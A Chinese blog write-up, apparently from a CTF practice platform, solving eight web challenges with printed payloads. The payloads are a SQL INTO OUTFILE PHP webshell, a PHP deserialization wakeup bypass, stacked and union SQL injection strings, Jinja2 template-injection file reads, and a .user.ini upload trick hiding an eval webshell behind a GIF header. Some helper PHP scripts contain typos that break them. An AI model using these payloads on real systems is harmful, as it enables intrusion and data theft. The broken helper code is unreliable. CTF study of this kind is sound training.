攻防世界Web(Web_php_incude、Web_php_unserialize、supersqli、web2、NewsCenter、inget、Web_python_template_injec

目录

(一)Web_php_incude

方法一(数据库写入马):

 1. 使用御剑扫描

 2. 进入后台管理系统

 3、查询参数secure-file-priv

4、上传一句话木马

 5、中国蚁剑连接

(二)Web_php_unserialize

(三)supersqli

 1、加上单引号有报错,说明存在注入点

 2、 使用#注释,没有报错,说明为单引号闭合

 3、当orfer by 3#发现报错,可知字段为2

 4、得到数据库1'; show databases; # 

 5、查表 1';use supersqli;show tables;#

 6、查columns,1';use supersqli;show columns from `1919810931114514`;# 

 7、爆破数据

 (四)web2

(五)NewsCenter

 1、找回显点,当出现此页面就表示输入有误

 2、找数据库名,没有特殊的过滤

 3、找表名

 4、找列表名

 5、得到flag

 (六) inget

 (七)Web_python_template_injection

补充:

(八) easyupload

上传.user.ini

 上传a.jpg


(一)Web_php_incude

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

方法一(数据库写入马):

 1. 使用御剑扫描

 2. 进入后台管理系统

 3、查询参数secure-file-priv

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录

show variables like "secure_file_priv"

4、上传一句话木马

select "<?php eval($_POST['1']); ?>"into outfile '/tmp/1.php'

 5、中国蚁剑连接

在目录里面找flag 


(二)Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
//实例化对象,当类新建对象的时候会被执行
        $this->file = $file; 
//将对象的file属性的值设置为file变量
    }
    function __destruct() { 
//对象被销毁时将被调用
        echo @highlight_file($this->file, true); 
//输出读取的文件,highlight_file()函数为输出指定的php文件代码
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
//_wakeup()函数,在unserialize()反序列化操作前会被调用
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
//将对象的file参数设置为index.php
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
//对获取到的参数var值进行base64解码
    if (preg_match('/[oc]:\d+:/i', $var)) { 
//正则表达式,如果匹配成功返回true,\d匹配任意的数字 /i表示匹配时不区分大小写 /[oc]匹配oc字符
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

分析代码:

  • 过滤条件是o:number   :   ,大小写绕过不行,可以试试+中断
  • 利用__wakeup()的CVE-2016-7124,在序列化的字符串当中属性数大于实际数,该函数不会执行
  • 进行base64加密
<?php
class Demo{
    prviate $file = 'include.php';
}
$a = new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace('O:4','O:+4',$b);
$b = str_replace(':1:',':2:',$b);
&b = base64_encode($b);
var_dump($b);
?>

使用php在线运行

构造

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到flag

(三)supersqli

 1、加上单引号有报错,说明存在注入点

 2、 使用#注释,没有报错,说明为单引号闭合

 3、当orfer by 3#发现报错,可知字段为2

 4、得到数据库1'; show databases; # 

 5、查表 1';use supersqli;show tables;#

 6、查columns,1';use supersqli;show columns from `1919810931114514`;# 

 7、爆破数据

如果使用select会被过滤掉,所有我们可以使用预编译

1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

 (四)web2

 

 <?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

我们分析代码,和加密步骤相反即可得到flag

  1. strrev() 函数:反转字符串
  2. substr函数:返回字符串的一部分,substr(string,start,length)
  3. ord() 函数:返回字符串的首个字符的 ASCII 值
  4. chr() 函数:从指定的 ASCII 值返回字符,chr(ascii)
  5. str_rot13() 函数:对字符串执行 ROT13 编码。ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变,str_rot13(string)
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode(&str){
    $_o=base64_decode(strrev(str_rot13($str)));
    for($_0=0;$_0<strlen($o);$_0++){
    
    $_c=substr($_o,$_0,1);
    $__=ord($_c)-1;
    $_c=chr($__);
    $__=$_.$_c;
}
    return strrev($_);
}
echo decode($miwen);
?>

之后得到flag
 

(五)NewsCenter

 1、找回显点,当出现此页面就表示输入有误

通过尝试为' 闭合,3列

 2、找数据库名,没有特殊的过滤

' union select 1,2,database()#

 3、找表名

' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

 4、找列表名


' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_table'#

 5、得到flag

' union select 1,2,fl4g from secret_table#

 (六) inget

看了源码什么都没有,id可以想到isql

 用or闭合flag就出现了

 (七)Web_python_template_injection

查看源码也没有注入点,我们尝试找回显点

补充:

从零学习flask模板注入 - FreeBuf网络安全行业门户

  由此可知,说明存在“SSTI”。关于SSTI即服务端模板注入攻击,服务端接受用户输入,将其作为 Web 应用模板的一部分,渲染编译后执行了恶意内容,导致敏感信息泄露、代码执行等

__class__ #返回type类型,查看对象的类型
__bases__ #返回tuple类型,列出该类的基类
__mro__   #返回tuple类型,给出解析方法调用的顺序
__subclasses__() #返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,

先查看全局变量config

 寻找基类

{{''.__class__.__mro__[2].__subclasses__()}}

 我们可以找到type file类型,为40

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

可以看到有一个 <class ‘site._Printer’>,[71]为<class ‘site._Printer’>出现位置

 得到flag

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

(八) easyupload

说明没有进行前端过滤

 本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

  • 检查文件内容是否有php字符串
  • 检查后缀中是否有htaccess或ph
  • 检查文件头部信息
  • 文件MIME类型

 对于第一点可以利用短标签绕过,例如<?=phpinfo();?>

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell

auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件
简单来说
 
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

补充:

        一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

第四点绕过方法即修改上传时的Content-Type为image/jpg

上传.user.ini

GIF89a                  
auto_prepend_file=a.jpg

 上传a.jpg

GIF89a
 
<?=eval($_REQUEST['cmd']);?>

 用蚁剑也可以

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值